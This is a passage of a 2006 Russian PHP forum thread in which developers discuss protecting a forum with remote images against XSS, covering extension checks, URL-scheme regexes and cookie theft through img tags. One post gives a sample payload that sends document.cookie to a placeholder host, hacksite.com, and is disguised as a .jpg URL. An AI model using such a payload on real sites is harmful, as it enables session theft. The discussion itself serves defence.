Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
MySQL на примерах. Авторы: Кузнецов М.В., Симдянов И.В. PHP. Практика создания Web-сайтов (второе издание). Авторы: Кузнецов М.В., Симдянов И.В. PHP 5/6. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. PHP на примерах (2 издание). Авторы: Кузнецов М.В., Симдянов И.В. Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум (новые сообщения вниз) Структурный форум

тема: COOKIE как использовать?

Сообщения:  [1-10]    [11-20]  [21-22] 

 
 автор: Trianon   (16.08.2006 в 13:27)   письмо автору
 
   для: cheops   (16.08.2006 в 13:04)
 

Я говорю о теге <IMG SRC=http://...> референс которого будет запрошен браузером безо всяких действий пользователя.

   
 
 автор: cheops   (16.08.2006 в 13:04)   письмо автору
 
   для: Trianon   (16.08.2006 в 12:29)
 

Можно выводить под также через htmlspecialchars() ссылку на страницу, чтобы пользователи видили куда идут... но это тоже не всегда применимо.

   
 
 автор: Loki   (16.08.2006 в 13:03)   письмо автору
 
   для: Trianon   (16.08.2006 в 12:29)
 

Для этого надо их в гет запрос подставить. А это можно сделать только с помощью клиентсокго кода.

   
 
 автор: Trianon   (16.08.2006 в 12:29)   письмо автору
 
   для: cheops   (15.08.2006 в 11:59)
 

Допустим, проверили мы URL, и содержимое проверили. И сочли ссылку валидной.
Только ведь никакой гарантии, что этот файл статический, а не сформирован сервером через mod_rewrite, который из GET-запроса успеет кукисы к себе стянуть.... когда эта ссылка будет выложена в html-тексте на одной из страниц сервера в теге <img src=...>

   
 
 автор: Trianon   (16.08.2006 в 12:28)   письмо автору
 
   для: cheops   (15.08.2006 в 11:59)
 

Допустим, проверили мы URL, и содержимое проверили. И сочли ссылку валидной.
Только ведь никакой гарантии, что этот файл статический, а не сформирован сервером через mod_rewrite, который из GET-запроса успел кукисы к себе стянуть....

   
 
 автор: Trianon   (16.08.2006 в 12:23)   письмо автору
 
   для: cheops   (16.08.2006 в 12:16)
 

url может быть относительным. :(
Т.е. схема доступа http/ftp/javascript... должна проверяться лишь тогда, когда она в принципе указана. ^(?=[\w]+\:)

   
 
 автор: cheops   (16.08.2006 в 12:16)   письмо автору
 
   для: Loki   (15.08.2006 в 13:37)
 

Можно опережающей проверкой ещё пройтись... грубо говоря должён URL начинаться с http, так будте добры писать http, т.е. что-то вроде
^(?=http:)

   
 
 автор: Loki   (15.08.2006 в 13:37)   письмо автору
 
   для: cheops   (15.08.2006 в 11:59)
 


src="javascript:open('http://hacksite.com/test.php?cookie=' + document.cookie); //.jpg"

Вроде такая штука проползет через фильтры:)

Так пароли никому и не нужны... нужны статусы:)

   
 
 автор: cheops   (15.08.2006 в 11:59)   письмо автору
 
   для: Loki   (14.08.2006 в 13:43)
 

Хм... можно проверять формат URL и допускать только файлы с расширениями gif jpeg. В cookie в любом случае не нужно хранить ничего ценного вроде паролей к аккаунтам, где деньги лежат :)))

   
 
 автор: Loki   (14.08.2006 в 13:43)   письмо автору
 
   для: cheops   (13.08.2006 в 16:45)
 

А у меня такой вопрос: если в форуме есть возможность вставлять картинки с других серверов, можно ли как-то защититься от xss атаки?
И вторая половина вопроса: если уж нельзя защититься, то что надо хранить в куках, чтобы злоумышленнику эти данные не помогли?

   

Сообщения:  [1-10]    [11-20]  [21-22] 

Форум разработан IT-студией SoftTime
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования